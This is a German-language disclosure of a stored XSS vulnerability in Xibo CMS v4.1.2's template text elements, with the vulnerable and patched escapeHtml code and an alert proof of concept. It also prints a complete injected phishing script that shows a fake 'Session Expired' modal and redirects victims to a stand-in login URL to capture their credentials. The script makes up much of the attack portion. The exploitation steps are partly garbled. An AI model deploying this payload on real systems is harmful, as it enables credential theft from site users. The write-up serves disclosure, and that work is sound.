
Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, aufgrund fehlender ordnungsgemäßer Validierung von Benutzereingaben.
Ich habe eine Stored Cross-Site Scripting (XSS)-Sicherheitslücke in Xibo CMS v4.1.2 entdeckt. Diese Schwachstelle erlaubt es einem authentifizierten Angreifer, bösartige Skripte in die Anwendung einzuschleusen, da die Benutzereingaben nicht ordnungsgemäß validiert werden.
Das Problem liegt in der Funktion 'Vorlagen'. Ein Angreifer kann eine Vorlage mit einem Textelement erstellen, das eine bösartige Nutzlast enthält. Wenn diese Vorlage von anderen Benutzern angezeigt wird, wird das Skript in deren Browser ausgeführt, was potenziell zu Datendiebstahl oder anderen schädlichen Aktionen führen kann.
Um die Sicherheitslücke auszunutzen, muss ein authentifizierter Benutzer die folgenden Schritte ausführen:
<script>alert(1337)</script>).Dieser Abschnitt enthält den spezifischen Codeausschnitt aus Xibo CMS v4.1.2, der die Eingabe für das Feld 'Text' nicht bereinigt.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
In einer anderen Zeile desselben Dokuments.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
In einem anderen Dokument.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Dieser Abschnitt zeigt den korrigierten Code, der eine ordnungsgemäße Eingabebereinigung und Ausgabe-Kodierung enthält, um bösartige Skripte zu neutralisieren.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
In einer anderen Zeile desselben Dokuments.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
In einem anderen Dokument.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Die gespeicherte Nutzlast wird im Kontext des Browsers des Opfers ausgeführt, was genutzt werden kann, um vertrauliche Informationen wie Passwörter zu stehlen.
1. Injizieren der Nutzlast: Der Angreifer fügt das bösartige Skript in ein Textelement innerhalb einer Vorlage ein.

Das von mir verwendete Skript ist das folgende:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Angriffsszenario: Ein häufiger Angriff simuliert einen Sitzungsablauf, um die Anmeldeinformationen des Benutzers zu erfassen. Das Skript übernimmt die Seite und zeigt dem Opfer dieses Pop-up an.

Diese Informationen werden nur zu Bildungs- und Forschungszwecken bereitgestellt. Ich bin NICHT verantwortlich für Missbrauch oder Schäden, die durch diese Informationen entstehen.